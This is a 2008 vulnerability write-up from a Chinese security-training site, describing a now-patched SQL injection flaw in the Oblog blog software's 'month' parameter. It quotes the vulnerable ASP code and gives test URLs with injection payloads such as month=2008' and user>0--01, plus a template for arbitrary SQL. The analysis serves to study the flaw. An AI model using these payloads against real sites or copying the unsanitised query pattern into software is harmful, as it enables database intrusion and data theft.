首页 实地培训 VIP专区 文章中心 下载中心 精品动画 安全服务 安全产品 企业文化
技术论坛
 -->开创网络首先基于以学员为中心的人性化教学方式。以案例式教学、互动式教学为主线。
 
  当前位置: 首页 > VIP专区 > VIP文章 > 漏洞研究 >
 
 
Oblog最新注入漏洞分析(已修补)
发布者ID:3 作者: 发布时间:2008-07-02 02:16:36 来源: 点击:
 
代码分析:

  文件In/Class_UserCommand.asp :

  strMonth=Request("month") //第63行

  strDay=Request("day")

  ……

  Case "month" //第84行

  Dim LastDay

  G_P_FileName = G_P_FileName & "month&month=" & strMonth

  strDay=Left(strMonth,4) & "-" & Right(strMonth,2) & "-01"

  mYear=Left(strMonth,4)

  mMonth=Right(strMonth,2)

  If InStr ("01,03,05,07,08,10,12",mMonth)> 0 Then

  LastDay = "31"……

  Else //第109行

  SqlPart = " And Addtime >=’"&strMonth&"01’ AND Addtime < ’"&strMonth&LastDay&"’ "

  构造合适的变量strMonth进行注射

  测试方法:

  http://localhost/oblog/cmd.asp?do= month&month=2008’ and user>0--01

  strDay变量从month中获得日期数据,并判断strDay是否为日期数据。所以构造的注射语句为:

  http://localhost/oblog/cmd.asp?do= month&month=2008’(自己的sql语句)--01

  执行sql语句采用rst.Open strSql,Conn,1,1

  不能修改记录集.



 
 
 
 
   
 
   
     
  • 课堂实景
  • 课程体系
  • 培训课程
  • 学费介绍
  • 巧用mstsc命令登录到console的方法
  • 课程介绍
  • 团队介绍
  • Linkideo免费Vpn
  • 就业前景
  • 汇款方式
  •  
     
     
    无标题文档
    一流开创网一流开创网一流开创网一流开创网一流开创网一流开创网一流开创网
      关于我们 | 联系方法 | 招聘信息 | 加入会员 | 诚征代理 | 广告服务 | 欢迎投稿 | 友情链接  
      版权所有:吉林省开创科技信息有限公司  
      服务热线:0431-84714442
    Copyright 2001 - 2007 All Rights Reserved